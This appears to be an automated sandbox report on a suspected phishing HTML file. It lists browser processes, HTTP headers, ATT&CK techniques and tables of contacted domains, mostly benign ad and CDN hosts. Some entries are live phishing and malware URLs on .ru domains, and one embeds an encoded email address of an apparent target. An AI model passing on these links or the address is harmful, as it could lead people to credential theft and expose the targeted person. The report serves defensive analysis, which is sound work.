Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 20:03:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qS3OUeGDkdqgPj7dIoYQZlZIxfdf9CDOdVwyzgbhoBMJhZCgHJw7jwldHv1OYrWHOGxosFmQENt1cb5TKDld94diRjwq%2BdewOHcYGMmHll6aYsLzh%2FcbwyO7iQSYjA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1321&min_rtt=1315&rtt_var=383&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2253&delivery_rate=2966984&cwnd=250&unsent_bytes=0&cid=fa0992ffc82b510e&ts=287&x=0"CF-Cache-Status: HITAge: 12093Server: cloudflareCF-RAY: 8f0814222def8c8d-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1970&rtt_var=763&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1896&delivery_rate=1410628&cwnd=246&unsent_bytes=0&cid=f5a530c9b10bb1fd&ts=470&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 20:03:34 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: ZNpOtKnYjqHwe6KJy98aCFADMfnEtJDOsxg=$2qiWmLaj8M4nIjteServer: cloudflareCF-RAY: 8f08142a7f7dde98-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 20:03:40 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: oeaG7/ZxYbfhotSj2iCHnA+C0Is4AnII9tk=$0ysr8+Nlqj9raVudcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f08145248944239-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Dec 2024 20:03:48 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: jQIrf+I8LsZvfyxItCs4p72kuCDK7wlShlc=$TkmZS908FzZ+BLshcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f0814855adb3350-EWRalt-svc: h3=":443"; ma=86400

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\vFile__0054seconds__Arkansas.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=1964,i,4744759707041045035,16757436310974182175,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=1964,i,4744759707041045035,16757436310974182175,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://axios-http.com	0%	Avira URL Cloud	safe
http://www.javascripter.net/faq/browsern.htm	0%	Avira URL Cloud	safe
https://zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ru/KxuzxCcbUGXujyGqWrYaFAPicIOrIXXWFSAXYGUFZCNDLCHUFISYXIE	100%	Avira URL Cloud	malware
https://tc39.es/ecma262/#sec-getmethod	0%	Avira URL Cloud	safe
https://keycode.info/table-of-all-keycodes	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-tointegerorinfinity	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/vFile__0054seconds__Arkansas.html	0%	Avira URL Cloud	safe
https://stores.office.com/subscription/acquire	0%	Avira URL Cloud	safe
https://tc39.es/ecma262/#sec-tolength	0%	Avira URL Cloud	safe
https://app.pbiwebcontent.com/webcontentsandbox.html	0%	Avira URL Cloud	safe
https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/	0%	Avira URL Cloud	safe
https://bugzil.la/548397	0%	Avira URL Cloud	safe
https://signup-local.azure.com/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
s.tribalfusion.com	104.18.37.193	true	false	high
global.px.quantserve.com	91.228.74.244	true	false	high
wdii.cxbeurue.ru	172.67.133.70	true	true	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
eu-eb2.3lift.com	13.248.245.213	true	false	high
zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ru	104.21.32.1	true	false	unknown
bttrack.com	192.132.33.67	true	false	high
palissade.ca	69.49.245.172	true	true	unknown
adobetarget.data.adobedc.net	66.235.152.225	true	false	high
idsync.rlcdn.com	35.244.154.8	true	false	high
code.jquery.com	151.101.2.137	true	false	high
dualstack.tls13.taboola.map.fastly.net	151.101.193.44	true	false	high
sync.crwdcntrl.net	52.220.45.219	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
publisher.liveperson.net	34.120.154.120	true	false	high
cm.g.doubleclick.net	142.250.181.66	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
rtb.adentifi.com	35.171.118.111	true	false	high
www.google.com	142.250.181.100	true	false	high
mcraa.fs.liveperson.com	44.210.247.48	true	false	high
dcs-ups.g03.yahoodns.net	188.125.88.204	true	false	high
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	54.154.212.37	true	false	high
sync.srv.stackadapt.com	44.214.168.86	true	false	high
waws-prod-dxb-b24c6da5.sip.p.azurewebsites.windows.net	20.38.136.70	true	false	unknown
msftenterprise.sc.omtrdc.net	63.140.62.17	true	false	high
match.adsrvr.org	3.33.220.150	true	false	high
star-mini.c10r.facebook.com	157.240.195.35	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
us-u.openx.net	35.244.159.8	true	false	high
s.twitter.com	104.244.42.131	true	false	high
aragorn-prod-or-acai-lb.inbake.com	44.230.205.3	true	false	high
dsum-sec.casalemedia.com	104.18.27.193	true	false	high
a.tribalfusion.com	172.64.150.63	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
dh1y47vf5ttia.cloudfront.net	18.66.161.117	true	false	unknown
ib.anycast.adnxs.com	37.252.171.21	true	false	high
pug-sg4c.pubmnet.com	67.199.150.86	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
ag.innovid.com	unknown	unknown	false	high
idpix.media6degrees.com	unknown	unknown	false	high
va.v.liveperson.net	unknown	unknown	false	high
px.owneriq.net	unknown	unknown	false	high
static-assets.fs.liveperson.com	unknown	unknown	false	high
cm.everesttech.net	unknown	unknown	false	high
jadserve.postrelease.com	unknown	unknown	false	high
dmpsync.3lift.com	unknown	unknown	false	high
content.powerapps.com	unknown	unknown	false	high
accdn.lpsnmedia.net	unknown	unknown	false	high
assets.adobedtm.com	unknown	unknown	false	high
rtd.tubemogul.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
trc.taboola.com	unknown	unknown	false	high
munchkin.marketo.net	unknown	unknown	false	high
cms.analytics.yahoo.com	unknown	unknown	false	high
sync-tm.everesttech.net	unknown	unknown	false	high
lpcdn.lpsnmedia.net	unknown	unknown	false	high
app.powerbi.com	unknown	unknown	false	high
ds.reson8.com	unknown	unknown	false	high
ups.analytics.yahoo.com	unknown	unknown	false	high
api.powerbi.com	unknown	unknown	false	high
j.clarity.ms	unknown	unknown	false	high
image2.pubmatic.com	unknown	unknown	false	high
cdn.botframework.com	unknown	unknown	false	high
dpm.demdex.net	unknown	unknown	false	high
rtd-tm.everesttech.net	unknown	unknown	false	high
servedby.flashtalking.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
www.clarity.ms	unknown	unknown	false	high
mscom.demdex.net	unknown	unknown	false	high
play.vidyard.com	unknown	unknown	false	high
analytics.twitter.com	unknown	unknown	false	high
cms.quantserve.com	unknown	unknown	false	high
dc.services.visualstudio.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
sync.search.spotxchange.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
lptag.liveperson.net	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://dpm.demdex.net/ibs:dpid=53196&dpuuid=Q7872338991644961529	false		high
https://dmpsync.3lift.com/getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D	false		high
https://mcraa.fs.liveperson.com/messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030	false		high
https://zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ru/KxuzxCcbUGXujyGqWrYaFAPicIOrIXXWFSAXYGUFZCNDLCHUFISYXIE	false	Avira URL Cloud: malware	unknown
https://app.powerbi.com/favicon.ico	false		high
https://dpm.demdex.net/ibs:dpid=57282&dpuuid=DA64BD7F4A54ECC10B04C10302DB7F70	false		high
https://ib.adnxs.com/setuid?entity=158&code=Z1nwWQAAAEVt4AO5	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f0814019e945e80&lang=auto	false		high
https://mscom.demdex.net/dest5.html?d_nsid=0	false		high
https://cms.quantserve.com/pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent=	false		high
https://msftenterprise.sc.omtrdc.net/id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=73336238850479645161774937206416645067&ts=1733947478384	false		high
https://a.nel.cloudflare.com/report/v4?s=qS3OUeGDkdqgPj7dIoYQZlZIxfdf9CDOdVwyzgbhoBMJhZCgHJw7jwldHv1OYrWHOGxosFmQENt1cb5TKDld94diRjwq%2BdewOHcYGMmHll6aYsLzh%2FcbwyO7iQSYjA%3D%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8f0814019e945e80/1733947411750/O_lkSx9NOW7Q_Nd	false		high
https://sync.srv.stackadapt.com/sync?nid=adobe	false		high
https://dpm.demdex.net/id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=73336238850479645161774937206416645067&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MSFPC%01dbe82eedbdde4cc1b39c60697b7c58db%012&d_cid_ic=MC1%01dbe82eedbdde4cc1b39c60697b7c58db%012&ts=1733947480800	false		high
https://rtb.adentifi.com/CookieSyncAdobe	false		high
https://us-u.openx.net/w/1.0/sd?id=537148856&val=Z1nwWQAAAEVt4AO5	false		high
file:///C:/Users/user/Desktop/vFile__0054seconds__Arkansas.html	true	Avira URL Cloud: safe	unknown
https://us-u.openx.net/w/1.0/sd?id=537148856&val=Z1nwWQAAAEVt4AO5&cc=1	false		high
https://s.tribalfusion.com/z/i.match?p=b13&u=73055362422130141231731046285304492740&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$	false		high
https://dpm.demdex.net/ibs:dpid=1957&dpuuid=3A163A25D7156FD116ED2F77D6776E1C	false		high
https://ag.innovid.com/dv/sync?tid=6	false		high
https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-lL3wz65E2pGJowlkGUOp8E_RxmOvQqHRiKE-~A	false		high
https://dmpsync.3lift.com/getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=	false		high
https://sync.crwdcntrl.net/map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=73055362422130141231731046285304492740?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id}	false		high
https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID	false		high
https://dsum-sec.casalemedia.com/rum?cm_dsp_id=88&external_user_id=Z1nwWQAAAEVt4AO5&C=1	false		high
https://static-assets.fs.liveperson.com/microsoft/lp_ada_enhancements-prod.css	false		high
https://cm.g.doubleclick.net/pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFud1dRQUFBRVZ0NEFPNQ==	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mozilla/rhino/issues/346	chromecache_323.2.dr, chromecache_324.2.dr	false		high
https://login.microsoftonline.com/uxlogout?appid	chromecache_387.2.dr	false		high
https://aka.ms/PBI_Comm_Overview	chromecache_469.2.dr, chromecache_320.2.dr	false		high
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	chromecache_323.2.dr, chromecache_324.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/zloirock/core-js	chromecache_436.2.dr, chromecache_323.2.dr, chromecache_324.2.dr, chromecache_518.2.dr	false		high
https://support.office.com/tr-tr/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://lpcdn.lpsnmedia.net/le/apps/campaigns/1.2.1-release_122345/img/engagementWindow/no-image2.pn	chromecache_444.2.dr, chromecache_382.2.dr, chromecache_559.2.dr, chromecache_341.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/styles/visuals.min.4a1a13972da0a85c167f.css	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-3.min.js	chromecache_280.2.dr	false		high
https://pbides.powerbi.com	chromecache_499.2.dr, chromecache_343.2.dr	false		high
http://interactjs.io/docs/#resize-square	chromecache_354.2.dr, chromecache_368.2.dr	false		high
https://cdn.jsdelivr.net/npm/bluebird	chromecache_426.2.dr, chromecache_579.2.dr	false		high
https://github.com/scottjehl/picturefill/blob/master/Authors.txt;	chromecache_438.2.dr	false		high
https://support.office.com/ar-sa/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
http://www.javascripter.net/faq/browsern.htm	chromecache_300.2.dr, chromecache_483.2.dr	false	Avira URL Cloud: safe	unknown
https://eastus-8.in.applicationinsights.azure.com/	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://tc39.es/ecma262/#sec-tointegerorinfinity	chromecache_323.2.dr, chromecache_324.2.dr	false	Avira URL Cloud: safe	unknown
https://munchkin.marketo.net/157/munchkin.js	chromecache_335.2.dr, chromecache_471.2.dr	false		high
https://pbivisuals.powerbi.com	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://api.company-target.com/api/v2/ip.json?key=70aff8023e038d56ea636f68e5c5922b	chromecache_401.2.dr, chromecache_291.2.dr	false		high
https://github.com/w3c/aria-practices/pull/1757	chromecache_323.2.dr, chromecache_324.2.dr	false		high
https://axios-http.com	chromecache_529.2.dr, chromecache_342.2.dr	false	Avira URL Cloud: safe	unknown
https://openjsf.org/	chromecache_354.2.dr, chromecache_368.2.dr, chromecache_422.2.dr, chromecache_489.2.dr	false		high
https://github.com/microsoft/clarity	chromecache_461.2.dr, chromecache_295.2.dr	false		high
http://github.com/jquery/globalize	chromecache_498.2.dr, chromecache_359.2.dr	false		high
https://keycode.info/table-of-all-keycodes	chromecache_323.2.dr, chromecache_324.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-getmethod	chromecache_323.2.dr, chromecache_324.2.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/Alert_Role	chromecache_460.2.dr, chromecache_378.2.dr	false		high
https://support.office.com/en-ie/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://support.office.com/en-ae/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://www.skype.com/en/	chromecache_469.2.dr, chromecache_320.2.dr	false		high
https://support.office.com/zh-cn/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/2537c33769cb/386cb9738790/RC1fc64c69f66543f7902881d9fba93b3	chromecache_316.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values	chromecache_323.2.dr, chromecache_324.2.dr	false		high
https://support.office.com/th-th/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://github.com/imakewebthings/waypoints/blog/master/licenses.txt	chromecache_354.2.dr, chromecache_368.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/styles/powerbi.common.externals.min.45febe62502627	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_574.2.dr, chromecache_297.2.dr	false		high
http://underscorejs.org/LICENSE	chromecache_354.2.dr, chromecache_368.2.dr, chromecache_422.2.dr, chromecache_489.2.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_574.2.dr, chromecache_297.2.dr	false		high
https://lpcdn.lpsnmedia.net/le_unified_window/9.12.0.19-release_4769/resources/loader_on_warmGray5_7	chromecache_280.2.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/2537c33769cb/386cb9738790/RC10ffc58a4a8a4d3c8b13ab7eae19c87	chromecache_283.2.dr, chromecache_551.2.dr	false		high
https://jquery.com/	chromecache_566.2.dr, chromecache_512.2.dr	false		high
https://developers.marketo.com/MunchkinLicense.pdf	chromecache_476.2.dr, chromecache_409.2.dr	false		high
https://support.office.com/he-il/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://stores.office.com/subscription/acquire	chromecache_280.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-tolength	chromecache_323.2.dr, chromecache_324.2.dr	false	Avira URL Cloud: safe	unknown
https://signup.azure.com/	chromecache_280.2.dr	false		high
https://portal.office.com/adminportal/home#/catalog	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://support.office.com/it-it/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://breeze.aimon.applicationinsights.io	chromecache_540.2.dr, chromecache_536.2.dr	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	chromecache_323.2.dr, chromecache_324.2.dr	false		high
https://api.powerbi.com	chromecache_343.2.dr	false		high
https://app.pbiwebcontent.com/webcontentsandbox.html	chromecache_499.2.dr, chromecache_343.2.dr	false	Avira URL Cloud: safe	unknown
https://sizzlejs.com/	chromecache_566.2.dr, chromecache_512.2.dr	false		high
https://pbidpe.powerbi.com	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://github.com/jquery/PEP	chromecache_354.2.dr, chromecache_368.2.dr	false		high
https://support.office.com/de-de/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://npms.io/search?q=ponyfill.	chromecache_354.2.dr, chromecache_368.2.dr, chromecache_422.2.dr, chromecache_489.2.dr	false		high
https://www.xbox.com/en-us/games/store/xbox-game-pass-ultimate/cfq7ttc0khs0?icid=CNavAllXboxGamePass	chromecache_469.2.dr, chromecache_320.2.dr	false		high
https://bugzil.la/548397	chromecache_323.2.dr, chromecache_324.2.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/es-co/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_378.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/scripts/jquery.globalize/globalize.culture.en-US.0	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://mcraa.fs.liveperson.com/messaging-agent-availability/api/account/60270350/getSkillAvailabili	chromecache_280.2.dr	false		high
https://signup-local.azure.com/	chromecache_280.2.dr	false	Avira URL Cloud: safe	unknown
https://dev.azure.com/powerbi/PowerBIClients/_git/PowerBIClients/pullrequest/131629)	chromecache_354.2.dr, chromecache_368.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/scripts/teamsTelemetry.bundle.min.34c9b7c9fab687ea	chromecache_499.2.dr, chromecache_343.2.dr	false		high
https://github.com/requirejs/requirejs/blob/master/LICENSE	chromecache_354.2.dr, chromecache_368.2.dr	false		high
https://www.clarity.ms/tag/	chromecache_358.2.dr, chromecache_316.2.dr	false		high
https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/	chromecache_529.2.dr, chromecache_342.2.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
91.228.74.244	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
104.18.37.193	s.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
44.214.168.86	sync.srv.stackadapt.com	United States	14618	AMAZON-AESUS	false
35.244.154.8	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
172.67.133.70	wdii.cxbeurue.ru	United States	13335	CLOUDFLARENETUS	true
54.154.212.37	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
172.217.19.194	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.193.44	dualstack.tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
18.66.161.113	unknown	United States	3	MIT-GATEWAYSUS	false
20.38.136.70	waws-prod-dxb-b24c6da5.sip.p.azurewebsites.windows.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.33.220.150	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
13.248.245.213	eu-eb2.3lift.com	United States	16509	AMAZON-02US	false
104.21.32.1	zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ru	United States	13335	CLOUDFLARENETUS	false
18.66.161.117	dh1y47vf5ttia.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
69.49.245.172	palissade.ca	United States	46606	UNIFIEDLAYER-AS-1US	true
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.244.42.131	s.twitter.com	United States	13414	TWITTERUS	false
172.64.150.63	a.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
63.140.62.17	msftenterprise.sc.omtrdc.net	United States	15224	OMNITUREUS	false
34.253.40.242	unknown	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.65.44	unknown	United States	54113	FASTLYUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
67.199.150.86	pug-sg4c.pubmnet.com	United States	3257	GTT-BACKBONEGTTDE	false
35.171.118.111	rtb.adentifi.com	United States	14618	AMAZON-AESUS	false
37.252.171.85	unknown	European Union	29990	ASN-APPNEXUS	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
35.244.159.8	us-u.openx.net	United States	15169	GOOGLEUS	false
44.210.247.48	mcraa.fs.liveperson.com	United States	14618	AMAZON-AESUS	false
44.230.205.3	aragorn-prod-or-acai-lb.inbake.com	United States	16509	AMAZON-02US	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
142.250.181.66	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
157.240.195.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
192.132.33.67	bttrack.com	United States	18568	BIDTELLECTUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.27.193	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
